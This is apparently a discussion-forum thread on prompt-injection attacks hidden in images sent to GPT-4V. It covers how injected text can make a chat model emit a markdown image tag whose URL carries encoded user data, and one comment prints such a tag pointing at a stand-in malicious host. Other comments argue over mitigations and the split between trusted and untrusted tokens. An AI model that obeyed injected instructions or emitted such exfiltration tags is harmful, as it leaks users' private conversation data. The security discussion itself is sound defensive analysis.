Multi-modal prompt injection image attacks against GPT-4V
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But it gets down to picking up numbers and letters that are tiny, gets obscured text like half moon bay (is it using a combination of the scene letters and knowledge in its language model of a pumpkin contest in HMB and synthesizing that knowledge into recognizing the location!!!!???). It's damn detailed.
I asked it to estimate the size of a figurine based on a ruler in the image, and it nailed it.
At first I just thought it was able taking an array of objects identified in the photo with bounding box coordinates and then just figuring out what the answer is.
But then i asked it to describe Worf’s hands in this image and it did a great job.
I’m super curious. I’ve done some basic attempts to get it to spit out the actual raw data but it won’t. I’m sure folks that are good at that could.
It's not running an OCR-style algorithm to export data and then passing that data to the LLM for further processing.
Instead, the model itself has been trained on both text and images at the same time.
So the image features end up as a weird ball of floating point numbers mixed together with the floating point numbers for the textual representation of the words in the prompt.
I'd love to understand this more. Strings of text get tokenized into a sequence of integer tokens - is there a similar tokenization step for image inputs? What does that look like?
If the model was trained from scratch then I would expect it to be able to develop new emergent behavior like being much better at ascii art, SVG, OpenSCAD scripting at least in the case the model was trained on the usual masked objective but not only on text tokens but image tokens too.
There's a lot of ongoing research into interpretability of these models. Anthropic put out a major new paper about that a few days ago: https://www.anthropic.com/index/decomposing-language-models-...
Everyone always is because why on earth wouldn't this be blocked?
That wuzzie has contacted OpenAI about this multiple times and gotten companies like Microsoft to say, "you know what, 3rd-party images are things that nobody allows in most contexts and it shouldn't be enabled in places like Bing chat" and OpenAI in particular seems to have consistently decided that it's a core part of the chat capabilities for some reason -- it's on of the reasons why I say that OpenAI does not take security seriously.
It really should not be a debate whether or not remote images should be blocked from markdown. Your email client blocks remote images. Most forums either block remote images or proxy them. There is no reason at all for ChatGPT to have that the ability to display them.
Every company makes security mistakes, that's not a problem; it's when a company doubles down on security mistakes that their attitude about security becomes apparent.
The world isn’t ready for LLMs unleashed like this. Any plugin could do the same thing, and exfiltrate any part of the chat context with very little instruction engineering to bypass what things guardrails exist on the plugins side.
My conclusion is that with LLMs, the assumption always needs to be that the LLM might be capable of outputting any content, and the client needs to safely handle whatever is returned.
If this is confusing, control the server and have it return an image, or 404 instead of an image, doesn't matter, while logging the request.
You will find the exfiltrated data in the request log, and you will not find an image in the request log.
Of course, if your request handler is an image generator, you can generate an image containing your URL request. But by the time your generator gets the request, the data was leaked.
If remote images were blocked from markdown as they are in many other applications, the URL request would not be made by the browser. The mitigation is that ChatGPT should refuse to render image tags or make requests for images if given a 3rd-party URL. I'm not sure if we're talking past each other or what, but I'm not talking about whether the server returns an image. I'm saying, ChatGPT will request an image from an external domain as part of rendering markdown during a conversation, and that GET request can be used as an exfiltration method.
The response from the server has nothing to do with it. I'm talking about the fact that ChatGPT will request arbitrary URLs without user input if the URLs are formatted in a markdown block as an image src.
ChatGPT is rendering this:
<img src="https://malicious-url/?sensitive-user-data-encoded" />
And it should instead when encountering a URL for a 3rd-party domain render this: <img src="" />So it has some pipeline like -> LLM/OCR Image to Text -> Text to Command Processing. Why is the text description of the image being processed at all and not simply just being output?
As far as I know, we've had engines for detecting sentiment, objects, etc from images for a long time (way before ChatGPT), and they didn't have issues where they would execute a URL found in an image, they would just output the characters...
Can someone who understands this better explain wth is going on here?
The exfiltration demo in the blog post doesn't show ChatGPT fetching a URL: it shows it outputting an image tag with an src= pointing at an external URL, which the user's browser then attempts to load.
I don't think it's accurate to think of the image processing as a separate pipeline here, similar to OCR on object detection.
My understanding is that the image is treated the same as the text - it's all input into the weird giant matrices of numbers that makes up the model.
GPT4-V isn't GPT4 plus tools for analyzing images: it's GPT4 with image processing built right into the model itself.
Is it even right to call it a "Large Language Model" at this point? I'm not sure.
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Even if development were to freeze, they didn't improve at all from this day onwards, and their many monumental flaws (prompt injection, hallucination, inability to reason etc) were never solved, I still think they'd be worth studying and using.
I expect we could still spend years figuring out new capabilities in the models we already have access to today.
By the way the last official answer I got from OpenAI regarding the markdown issue was that they thought it wouldn't be a problem because there will be mitigations. My assumption now is that they thought they could maybe fix indirect prompt injection, but it doesn't look like there is a solution.
My current takeaway is that with LLMs, the assumption always needs to be that the LLM is capable of outputting any content, and the client needs to safely (and securely) handle whatever is returned.
Btw. I show cased these kind of image based prompt injections in July (with Bard and Bing Chat, which presumably already used OpenAI's tech), and the example I created (the robot slipping on a banana) was shown during Blackhat in Las Vegas this year. Tweets: https://twitter.com/wunderwuzzi23/status/1681520761146834946
In addition, the fact that Simon is very bullish about LLMs makes his writing on LLM attacks more effective, because a decent chunk of people warning about LLM attacks are also skeptical about the long-term viability of the technology or think that it's over-hyped, so LLM fans tend to to dismiss them as being "anti-AI" and say that they're playing up the dangers. Nobody can make that claim about Simon.
For whatever reason Simon's writing has consistently attracted a lot more attention than other researcher releases about LLM attacks; and what has he done with that popularity and outsized attention? He's raised awareness about the issue and pointed back to some of that research!
I just don't think the criticism in this case is warranted, I think Simon's writing here is worthwhile regardless of how anyone feels about the potential of LLMs. Whether they're the future or not, these vulnerabilities exist today in products that are being rolled out today. That's worth taking about if LLMs aren't the future, but it's even more worth talking about if LLMs are the future.
https://wayve.ai/thinking/lingo-natural-language-autonomous-...
If the LLM embedding content from arbitrary sources is really such a critical feature it could at least be behind a click that shows you the URL.
Why aren't they doing this? Or are they, it's just failing?
If you can crack differentiating between "command" tokens and other input tokens, you've cracked prompt injection!
It's been 13 months since we started discussing this vulnerability and I've not seen any evidence of anyone cracking this yet.
In my opinion there exists a rather simple semi-solution (and no, I do not claim to have cracked prompt injection! :-) ): the user is able to mark parts of his input as "trusted" or "untrusted", and the AI is implemented to handle data this way.
For example, the user would mark his prompt (that he thoroughly thought through) as "trusted", but the image which provides additional information, or is the object to run the prompt on, as "untrusted".
This is related to established concepts in IT security:
- W^X: memory pages are either writable or executable, but not both (of course the term "W^X" is a little bit confusing since if W=0 and X=0, W^X is 0, but is an allowed configuration) - corresponding to untrusted or trusted parts of the prompt
- sandboxing of the virtual machine in browsers that execute untrusted data from the web (untrusted part)
That's exactly the solution I've been hoping for, but seeing as no-one has even come close to getting that to work yet my current intuition is that it's REALLY hard. Maybe even impossible with current LLM architectures?
First is that the straightforward way to implement any changes to the data structure requires full retraining of the model from scratch, which is very expensive for the large models (I recall reading that GPT-4 training compute cost was sixty million or so) - so it's not something someone would or could do 'for fun' just to test a hypothesis, there needs to be a will to explicitly make the next large model in this manner, because you don't want to make two models at twice the cost.
The second almost all of the training is based on self-supervised data from generic text where there are neither "instructions" or "data", the concepts don't even make sense while you're training on a book or wikipedia article. So all the pretraining would learn to ignore that out-of-band marker, and then you'd have only the RLHF instruction data to try and make some use of it, and you'd need expensive manual review to make this training data - the current RLHF data is much less intensive to annotate because it effectively has just "good"/"bad" signal, and even that can be gathered for free from users; however, this training data would need someone to explicitly annotate what is the prompt and what is data when a user submits a text "please rewrite the grammar for the following paragraph: [... some data copied from internet ..]", you can't magically get that metadata, and it's expensive to annotate a lot of that.
TL;DR; - IMHO it's not difficult, but it is resource consuming, and that fully explains why it's not done.
I don't think the lack of a solution is because it's too expensive. It's because we don't know how to do it yet.
Well, if you could create software that is provably secure against at least a large class of cyberattacks, you could also make quite some money, since I know that at least the finance industry would be willing to pay a lot of money for it (source: in the past, I had an opportunity to talk someone who is very knowledgable about software in the finance sector, and I asked him some questions about exactly this topic).
Thus: we have not solved the "cyberinjection" problem for completely conventional software for decades. So I don't believe that we suddenly have the capabilities to solve this problem for LLMs.
But: As I pointed out, people have come up with ideas that make cyberattacks much harder. Here, I can imagine that their ideas could be used to make prompt injections a lot more complicated.
Additionally, we know from decades of experience that making insecure software secure is nigh impossible. Instead, one has to architect around security properties from beginning. The same does, in my opinion, also hold for LLMs and prompt injection.
Here's an example of an agents company that pivoted partly because they couldn't figure out how to secure them: https://twitter.com/zachtratar/status/1694024240880861571
That is, I think it is both simple and incredibly expensive/arduous, because the masses of free data to train models on doesn't come with a command-space/untrusted-input-space dichotomy, that’s something you have to impose onto the training data, with appropriately differentiated completions.
(On top of the fact that it likely requires de novo model training, which is itself expensive.)
This is the key issue. The problem is, I don't see how to reliably create that data handling implementation -- it always comes down to the fact that any feasible implementation takes the form of text that gets passed to the AI, and clever prompt hacking can override the instructions in that text.
I imagined simply tagging the tokens as command and data, ie say instead of just (43) as a token, it's (43, 1) for command and (43, 0) for data. Then ensure through adverserial training that whatever interprets say images does not spit out command tokens.
edit: or better yet, just have it spit ut plain tokens like (43) and ensure they're data tokens by manually converting them to data tokens (43, 0).
Isn't this simple? Have two different tokenizer with non-overlapping output ranges, one for “trusted commands” and one for “user input”, do training with various mixes of commands and input with the appropriate reactions to each, and then have the trusted command fixed (or selectable from a small set of preselected options/payterns based on interaction style [chat might used trusted tokens to indicate which participant each piece of the exchange is from, as well as for the internal system prompt, for instance]) for external users and allow them to freely specify only input that gets sent to the “untrusted input” tokenizer. Even if you allow pretokenized input, you can sanitize it to accept only tokens from the untrusted space.
I'm not saying there aren't any HARD steps.
Every time I talk about prompt injection the same "surely there's an easy fix: ...." comments show up. I'm just trying to shortcut having to argue against them all again.
No, while sometimes there are barriers that take a giant leap to cross, progress tends to involveots of steps that were simple, even if time consuming to execute, once the preceding pieces were in place.
There was a period where LLMs were extremely inaccessible to train where it would have been reasonable to say "the mitigation is easy, but OpenAI hasn't done it." But nowadays, indie models and freeware models are much more common, and there are even models with open datasets. Fine tuning can be done on a Macbook. Purchasing compute to fully replicate a smaller model is within reach of a lot of people.
There is still a cost involved, it's not trivial -- but it's a lot more accessible than it used to be. So at what point is it reasonable to respond to the people saying, "it's easy, just do X" with "well, do it then."?
If the training method you're describing works, then what is preventing someone from training a 7B model over the next week that's invulnerable to prompt injection?
Clearly I know enough to come up with a trivial solution, but not enough to immediately see why it won't work.